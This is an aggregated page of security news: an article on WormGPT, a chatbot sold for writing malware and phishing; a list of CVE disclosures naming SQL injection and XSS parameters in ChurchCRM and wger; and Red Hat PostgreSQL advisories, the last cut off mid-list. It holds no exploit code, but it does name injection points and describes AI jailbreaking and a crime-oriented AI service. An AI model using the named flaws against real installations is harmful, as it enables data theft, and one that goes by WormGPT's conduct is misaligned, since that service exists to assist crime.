WormGPT, a private new chatbot service advertised as a way to use Artificial Intelligence (AI) to help write malicious software without all the pesky prohibitions on such activity enforced by ChatGPT and Google Bard, has started adding restrictions on how the service can be used. Faced with customers trying to use WormGPT to create ransomware and phishing scams, the 23-year-old Portuguese programmer who created the project now says his service is slowly morphing into “a more controlled environment.”

The large language models (LLMs) made by ChatGPT parent OpenAI or Google or Microsoft all have various safety measures designed to prevent people from abusing them for nefarious purposes — such as creating malware or hate speech. In contrast, WormGPT has promoted itself as a new LLM that was created specifically for cybercrime activities.

**WormGPT**, a private new chatbot service advertised as a way to use Artificial Intelligence (AI) to write malicious software without all the pesky prohibitions on such activity enforced by the likes of **ChatGPT** and **Google Bard**, has started adding restrictions of its own on how the service can be used. Faced with customers trying to use WormGPT to create ransomware and phishing scams, the 23-year-old Portuguese programmer who created the project now says his service is slowly morphing into “a more controlled environment.”

Image: SlashNext.com.

The large language models (LLMs) made by ChatGPT parent **OpenAI** or **Google** or **Microsoft** all have various safety measures designed to prevent people from abusing them for nefarious purposes — such as creating malware or hate speech. In contrast, WormGPT has promoted itself as a new, uncensored LLM that was created specifically for cybercrime activities.

WormGPT was initially sold exclusively on **HackForums**, a sprawling, English-language community that has long featured a bustling marketplace for cybercrime tools and services. WormGPT licenses are sold for prices ranging from 500 to 5,000 Euro.

“Introducing my newest creation, ‘WormGPT,’ wrote “**Last**,” the handle chosen by the HackForums user who is selling the service. “This project aims to provide an alternative to ChatGPT, one that lets you do all sorts of illegal stuff and easily sell it online in the future. Everything blackhat related that you can think of can be done with WormGPT, allowing anyone access to malicious activity without ever leaving the comfort of their home.”

WormGPT’s core developer and frontman “Last” promoting the service on HackForums. Image: SlashNext.

In July, an AI-based security firm called **SlashNext** analyzed WormGPT and asked it to create a “business email compromise” (BEC) phishing lure that could be used to trick employees into paying a fake invoice.

“The results were unsettling,” SlashNext’s **Daniel Kelley** wrote. “WormGPT produced an email that was not only remarkably persuasive but also strategically cunning, showcasing its potential for sophisticated phishing and BEC attacks.”

SlashNext asked WormGPT to compose this BEC phishing email. Image: SlashNext.

A review of Last’s posts on HackForums over the years shows this individual has extensive experience creating and using malicious software. In August 2022, Last posted a sales thread for “**Arctic Stealer**,” a data stealing trojan and keystroke logger that he sold there for many months.

“I’m very experienced with malwares,” Last wrote in a message to another HackForums user last year.

Last has also sold a modified version of the information stealer **DCRat**, as well as an obfuscation service marketed to malicious coders who sell their creations and wish to insulate them from being modified or copied by customers.

Shortly after joining the forum in early 2021, Last told several different Hackforums users his name was Rafael and that he was from Portugal. HackForums has a feature that allows anyone willing to take the time to dig through a user’s postings to learn when and if that user was previously tied to another account.

That account tracing feature reveals that while Last has used many pseudonyms over the years, he originally used the nickname “**ruiunashackers**.” The first search result in Google for that unique nickname brings up a **TikTok** account with the same moniker, and that TikTok account says it is associated with an **Instagram** account for a **Rafael Morais** from Porto, a coastal city in northwest Portugal.

**AN OPEN BOOK**

Reached via Instagram and Telegram, Morais said he was happy to chat about WormGPT.

“You can ask me anything,” Morais said. “I’m an open book.”

Morais said he recently graduated from a polytechnic institute in Portugal, where he earned a degree in information technology. He said only about 30 to 35 percent of the work on WormGPT was his, and that other coders are contributing to the project. So far, he says, roughly 200 customers have paid to use the service.

“I don’t do this for money,” Morais explained. “It was basically a project I thought \[was\] interesting at the beginning and now I’m maintaining it just to help \[the\] community. We have updated a lot since the release, our model is now 5 or 6 times better in terms of learning and answer accuracy.”

WormGPT isn’t the only rogue ChatGPT clone advertised as friendly to malware writers and cybercriminals. According to SlashNext, one unsettling trend on the cybercrime forums is evident in discussion threads offering “jailbreaks” for interfaces like ChatGPT.

“These ‘jailbreaks’ are specialised prompts that are becoming increasingly common,” Kelley wrote. “They refer to carefully crafted inputs designed to manipulate interfaces like ChatGPT into generating output that might involve disclosing sensitive information, producing inappropriate content, or even executing harmful code. The proliferation of such practices underscores the rising challenges in maintaining AI security in the face of determined cybercriminals.”

Morais said they have been using the GPT-J 6B model since the service was launched, although he declined to discuss the source of the LLMs that power WormGPT. But he said the data set that informs WormGPT is enormous.

“Anyone that tests wormgpt can see that it has no difference from any other uncensored AI or even chatgpt with jailbreaks,” Morais explained. “The game changer is that our dataset \[library\] is big.”

Morais said he began working on computers at age 13, and soon started exploring security vulnerabilities and the possibility of making a living by finding and reporting them to software vendors.

“My story began in 2013 with some greyhat activies, never anything blackhat tho, mostly bugbounty,” he said. “In 2015, my love for coding started, learning c# and more .net programming languages. In 2017 I’ve started using many hacking forums because I have had some problems home (in terms of money) so I had to help my parents with money… started selling a few products (not blackhat yet) and in 2019 I started turning blackhat. Until a few months ago I was still selling blackhat products but now with wormgpt I see a bright future and have decided to start my transition into whitehat again.”

WormGPT sells licenses via a dedicated channel on Telegram, and the channel recently lamented that media coverage of WormGPT so far has painted the service in an unfairly negative light.

“We are uncensored, not blackhat!” the WormGPT channel announced at the end of July. “From the beginning, the media has portrayed us as a malicious LLM (Language Model), when all we did was use the name ‘blackhatgpt’ for our Telegram channel as a meme. We encourage researchers to test our tool and provide feedback to determine if it is as bad as the media is portraying it to the world.”

It turns out, when you advertise an online service for doing bad things, people tend to show up with the intention of doing bad things with it. WormGPT’s front man Last seems to have acknowledged this at the service’s initial launch, which included the disclaimer, “We are not responsible if you use this tool for doing bad stuff.”

But lately, Morais said, WormGPT has been forced to add certain guardrails of its own.

“We have prohibited some subjects on WormGPT itself,” Morais said. “Anything related to murders, drug traffic, kidnapping, child porn, ransomwares, financial crime. We are working on blocking BEC too, at the moment it is still possible but most of the times it will be incomplete because we already added some limitations. Our plan is to have WormGPT marked as an uncensored AI, not blackhat. In the last weeks we have been blocking some subjects from being discussed on WormGPT.”

Still, Last has continued to state on HackForums — and more recently on the far more serious cybercrime forum **Exploit** — that WormGPT will quite happily create malware capable of infecting a computer and going “fully undetectable” (FUD) by virtually all of the major antivirus makers (AVs).

“You can easily buy WormGPT and ask it for a Rust malware script and it will 99% sure be FUD against most AVs,” Last told a forum denizen in late July.

Asked to list some of the legitimate or what he called “white hat” uses for WormGPT, Morais said his service offers reliable code, unlimited characters, and accurate, quick answers.

“We used WormGPT to fix some issues on our website related to possible sql problems and exploits,” he explained. “You can use WormGPT to create firewalls, manage iptables, analyze network, code blockers, math, anything.”

Morais said he wants WormGPT to become a positive influence on the security community, not a destructive one, and that he’s actively trying to steer the project in that direction. The original HackForums thread pimping WormGPT as a malware writer’s best friend has since been deleted, and the service is now advertised as “WormGPT – Best GPT Alternative Without Limits — Privacy Focused.”

“We have a few researchers using our wormgpt for whitehat stuff, that’s our main focus now, turning wormgpt into a good thing to \[the\] community,” he said.

It’s unclear yet whether Last’s customers share that view.

Meet the Brains Behind the Malware-Friendly AI Chat Service ‘WormGPT’

SQL injection vulnerability in ChurchCRM v.5.0.0 allows a remote attacker to obtain sensitive information via the volopp1 and volopp2 parameters within the /QueryView.php.

**CVE-Disclosures**

Welcome to the CVE disclosures section of this repository! Here, you'll find a list of security vulnerabilities that I have discovered while working on Free Open Source Software (FOSS) applications.

**CVEs I Have Discovered**

Findings

Description

CVE-2023-38758

A stored cross-site scripting (XSS) vulnerability in wger Workout Manager v2.2.0a3 allows remote attackers to inject arbitrary web script or HTML via the license_author parameter of the /en/nutrition/ingredient/add/ endpoint.

CVE-2023-38759

A cross-site request forgery (CSRF) vulnerability in wger Workout Manager v2.2.0a3 allows remote attackers to gain privileges via email change and password reset functionality at /en/user/preferences, /en/gym/user/1/reset-user-password, and /en/user/password/reset/. These attack vectors can allow any account to be compromised, with resulting data exfiltrated back to the attacker's server.

CVE-2023-38760

A SQL injection vulnerability in ChurchCRM v.5.0.0 allows a remote attacker to obtain sensitive database information via the role and gender parameters within the /QueryView.php?QueryID=7 endpoint (Person by Role and Gender query). This can be used for information disclosure of anything in the database, including user credentials.

CVE-2023-38761

A cross site scripting (XSS) vulnerability in ChurchCRM v5.0.0 allows remote attackers to inject arbitrary web script or HTML via a crafted payload to the systemSettings.php endpoint. This payload is placed within the site header and is triggered whenever anyone authenticated views any page. This vulnerability can be used to execute arbitrary JavaScript code within the victim's session, perform information disclosure, or potentially perform other CSRF attacks.

CVE-2023-38762

A SQL injection vulnerability in ChurchCRM v.5.0.0 allows a remote attacker to obtain sensitive database information via the friendmonths parameter within the /QueryView.php?QueryID=26 endpoint (Recent Friends query). This can be used for information disclosure of anything in the database, including user credentials.

CVE-2023-38763

A SQL injection vulnerability in ChurchCRM v.5.0.0 allows an authenticated remote attacker to obtain sensitive database information via the FundRaiserID parameter within the /FundRaiserEditor.php endpoint. This can be used for information disclosure of anything in the database, including user credentials.

CVE-2023-38764

A SQL injection vulnerability in ChurchCRM v.5.0.0 allows a remote attacker to obtain sensitive database information via the birthmonth and percls parameters within the /QueryView.php?QueryID=18 endpoint (Birthdays query). This can be used for information disclosure of anything in the database, including user credentials.

CVE-2023-38765

A SQL injection vulnerability in ChurchCRM v.5.0.0 allows a remote attacker to obtain sensitive database information via the membermonth parameter within the /QueryView.php?QueryID=22 endpoint (Membership Anniversaries query). This can be used for information disclosure of anything in the database, including user credentials.

CVE-2023-38766

A cross site scripting (XSS) vulnerability in ChurchCRM v5.0.0 allows remote attackers to inject arbitrary web script or HTML via a crafted payload to the PersonView.php endpoint. An authenticated attacker can perform stored XSS by editing their user profile. This payload is triggered whenever anyone views this user's profile. This vulnerability can be used to execute arbitrary JavaScript code within the victim's session, perform information disclosure, or potentially perform other CSRF attacks.

CVE-2023-38767

A SQL injection vulnerability in ChurchCRM v.5.0.0 allows a remote attacker to obtain sensitive database information via the value and custom parameters within the /QueryView.php?QueryID=200 endpoint (CustomSearch query). This can be used for information disclosure of anything in the database, including user credentials.

CVE-2023-38768

A SQL injection vulnerability in ChurchCRM v.5.0.0 allows a remote attacker to obtain sensitive database information via the PropertyID parameter within the /QueryView.php?QueryID=9 endpoint (Person by Property query). This can be used for information disclosure of anything in the database, including user credentials.

CVE-2023-38769

A SQL injection vulnerability in ChurchCRM v.5.0.0 allows a remote attacker to obtain sensitive database information via the searchstring and searchwhat parameters within the /QueryView.php?QueryID=15 endpoint (Advanced Search query). This can be used for information disclosure of anything in the database, including user credentials.

CVE-2023-38770

A SQL injection vulnerability in ChurchCRM v.5.0.0 allows a remote attacker to obtain sensitive database information via the group parameter within the /QueryView.php?QueryID=21 endpoint (Registered Students query). This can be used for information disclosure of anything in the database, including user credentials.

CVE-2023-38771

A SQL injection vulnerability in ChurchCRM v.5.0.0 allows a remote attacker to obtain sensitive database information via the volopp parameter within the /QueryView.php?QueryID=25 endpoint (Volunteers - 'for a particular opportunity' query). This can be used for information disclosure of anything in the database, including user credentials.

CVE-2023-38773

A SQL injection vulnerability in ChurchCRM v.5.0.0 allows a remote attacker to obtain sensitive database information via the volopp1 and volopp2 parameters within the /QueryView.php?QueryID=100 endpoint (Volunteers - 'who match two specific codes' query). This can be used for information disclosure of anything in the database, including user credentials.

_I will update this list as soon as new vulnerabilities are found and available for public disclosure._

CVE-2023-38773: GitHub - 0x72303074/CVE-Disclosures

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in a2 Camera Trap Tracking System allows SQL Injection.This issue affects Camera Trap Tracking System: before 3.1905.



CVE-2023-3386

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in a2 License Portal System allows SQL Injection.This issue affects License Portal System: before 1.48.



CVE-2023-3522

Red Hat Security Advisory 2023-4539-01 - PostgreSQL is an advanced object-relational database management system.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Moderate: postgresql:10 security update  
Advisory ID:       RHSA-2023:4539-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4539  
Issue date:        2023-08-08  
CVE Names:         CVE-2023-2454 CVE-2023-2455   
=====================================================================

1. Summary:

An update for the postgresql:10 module is now available for Red Hat  
Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream (v. 8) - aarch64, ppc64le, s390x, x86_64

3. Description:

PostgreSQL is an advanced object-relational database management system  
(DBMS).

Security Fix(es):

* postgresql: schema_element defeats protective search_path changes  
(CVE-2023-2454)

* postgresql: row security policies disregard user ID changes after  
inlining. (CVE-2023-2455)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

If the postgresql service is running, it will be automatically restarted  
after installing this update.

5. Bugs fixed (https://bugzilla.redhat.com/):

2207568 - CVE-2023-2454 postgresql: schema_element defeats protective search_path changes  
2207569 - CVE-2023-2455 postgresql: row security policies disregard user ID changes after inlining.

6. Package List:

Red Hat Enterprise Linux AppStream (v. 8):

Source:  
postgresql-10.23-2.module+el8.8.0+19493+5804baf6.src.rpm

aarch64:  
postgresql-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-contrib-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-contrib-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-debugsource-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-docs-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-docs-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-plperl-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-plperl-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-plpython3-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-plpython3-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-pltcl-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-pltcl-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-server-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-server-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-server-devel-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-server-devel-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-static-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-test-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-test-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-test-rpm-macros-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-upgrade-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-upgrade-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-upgrade-devel-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm  
postgresql-upgrade-devel-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.aarch64.rpm

ppc64le:  
postgresql-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-contrib-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-contrib-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-debugsource-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-docs-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-docs-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-plperl-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-plperl-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-plpython3-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-plpython3-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-pltcl-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-pltcl-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-server-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-server-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-server-devel-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-server-devel-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-static-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-test-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-test-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-test-rpm-macros-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-upgrade-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-upgrade-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-upgrade-devel-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm  
postgresql-upgrade-devel-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.ppc64le.rpm

s390x:  
postgresql-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-contrib-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-contrib-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-debugsource-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-docs-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-docs-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-plperl-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-plperl-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-plpython3-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-plpython3-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-pltcl-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-pltcl-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-server-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-server-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-server-devel-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-server-devel-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-static-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-test-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-test-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-test-rpm-macros-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-upgrade-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-upgrade-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-upgrade-devel-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm  
postgresql-upgrade-devel-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.s390x.rpm

x86_64:  
postgresql-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-contrib-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-contrib-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-debugsource-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-docs-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-docs-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-plperl-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-plperl-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-plpython3-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-plpython3-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-pltcl-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-pltcl-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-server-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-server-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-server-devel-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-server-devel-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-static-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-test-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-test-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-test-rpm-macros-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-upgrade-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-upgrade-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-upgrade-devel-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm  
postgresql-upgrade-devel-debuginfo-10.23-2.module+el8.8.0+19493+5804baf6.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2023-2454  
https://access.redhat.com/security/cve/CVE-2023-2455  
https://access.redhat.com/security/updates/classification/#moderate

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJk0k9SAAoJENzjgjWX9erEWZwQAJOWdstLJGeVEYwuTlEtXxLz  
mvKaCqsr7YhticWwVKt9eb6L5uFZch7ss+Wdxwj+5rm9jN1EWSbzCoJeiNHaonlJ  
5/XKIVoUUTwfKQ0TJTJCYXxFSzds+ClVcTj/VNk270KdSmS5GbpwrMKlgbqBI7YM  
qtQh0hMZZ7sTL802uU77H+4ocxfFPxLRuZeCZ2U0ULAx7ur3ZVKVNi+rj9hCyPSJ  
2rI9q8LEIZWLTFzs+3kTGCGQlBtJJrv1mQonhoSET3r8UJyujrHQtbpVE8b3MQA4  
X/rqdU6+QxhOtI8WdT1mpbDt9VFCIE5rbhP6vpK7/gK8nxH5yfOLB1nDRKlLCtyF  
qJRxqXxQvcOgsrs5QXOJsaxVrA5A8qdRsjqP+CxKdWRVVIyQ29JXoRq64K3leiQ3  
cR879poIpoh38hkrqmmeHLJqOREbsEbQqL3DCyaN46rjQ5MyWGFTV+7JNW17p+dc  
JC2yUAnU1LTMyND/WFRcgrcwiEAruF9SQMkuaV3qTZOUiafirA0CzkcaJEh9ycxV  
2ehVP4gPTHRNFS8xIvq7Ely/LzmZqV+0834CSU01cg9oeP5Kacd03Y4Rf2cR6ZMO  
j5ykLcGE0SKKkvtmCS4xgzqxPCjoaEG+nps+z7363dFsOpd0kNx/OasRjG999DtD  
WMJ6qw0/JPLVFgEKNMie  
=Njbj  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-4539-01

Red Hat Security Advisory 2023-4535-01 - PostgreSQL is an advanced object-relational database management system.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Moderate: postgresql:12 security update  
Advisory ID:       RHSA-2023:4535-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4535  
Issue date:        2023-08-08  
CVE Names:         CVE-2022-41862 CVE-2023-2454 CVE-2023-2455   
=====================================================================

1. Summary:

An update for the postgresql:12 module is now available for Red Hat  
Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream (v. 8) - aarch64, noarch, ppc64le, s390x, x86_64

3. Description:

PostgreSQL is an advanced object-relational database management system  
(DBMS).

Security Fix(es):

* postgresql: schema_element defeats protective search_path changes  
(CVE-2023-2454)

* postgresql: row security policies disregard user ID changes after  
inlining. (CVE-2023-2455)

* postgresql: Client memory disclosure when connecting with Kerberos to  
modified server (CVE-2022-41862)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

If the postgresql service is running, it will be automatically restarted  
after installing this update.

5. Bugs fixed (https://bugzilla.redhat.com/):

2165722 - CVE-2022-41862 postgresql: Client memory disclosure when connecting with Kerberos to modified server  
2207568 - CVE-2023-2454 postgresql: schema_element defeats protective search_path changes  
2207569 - CVE-2023-2455 postgresql: row security policies disregard user ID changes after inlining.

6. Package List:

Red Hat Enterprise Linux AppStream (v. 8):

Source:  
pg_repack-1.4.6-3.module+el8.5.0+11354+78b3c9c5.src.rpm  
pgaudit-1.4.0-5.module+el8.5.0+11354+78b3c9c5.src.rpm  
postgres-decoderbufs-0.10.0-2.module+el8.5.0+11354+78b3c9c5.src.rpm  
postgresql-12.15-1.module+el8.8.0+19427+d1071523.src.rpm

aarch64:  
pg_repack-1.4.6-3.module+el8.5.0+11354+78b3c9c5.aarch64.rpm  
pg_repack-debuginfo-1.4.6-3.module+el8.5.0+11354+78b3c9c5.aarch64.rpm  
pg_repack-debugsource-1.4.6-3.module+el8.5.0+11354+78b3c9c5.aarch64.rpm  
pgaudit-1.4.0-5.module+el8.5.0+11354+78b3c9c5.aarch64.rpm  
pgaudit-debuginfo-1.4.0-5.module+el8.5.0+11354+78b3c9c5.aarch64.rpm  
pgaudit-debugsource-1.4.0-5.module+el8.5.0+11354+78b3c9c5.aarch64.rpm  
postgres-decoderbufs-0.10.0-2.module+el8.5.0+11354+78b3c9c5.aarch64.rpm  
postgres-decoderbufs-debuginfo-0.10.0-2.module+el8.5.0+11354+78b3c9c5.aarch64.rpm  
postgres-decoderbufs-debugsource-0.10.0-2.module+el8.5.0+11354+78b3c9c5.aarch64.rpm  
postgresql-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-contrib-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-contrib-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-debugsource-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-docs-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-docs-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-plperl-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-plperl-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-plpython3-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-plpython3-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-pltcl-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-pltcl-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-server-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-server-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-server-devel-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-server-devel-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-static-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-test-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-test-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-upgrade-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-upgrade-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-upgrade-devel-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm  
postgresql-upgrade-devel-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.aarch64.rpm

noarch:  
postgresql-test-rpm-macros-12.15-1.module+el8.8.0+19427+d1071523.noarch.rpm

ppc64le:  
pg_repack-1.4.6-3.module+el8.5.0+11354+78b3c9c5.ppc64le.rpm  
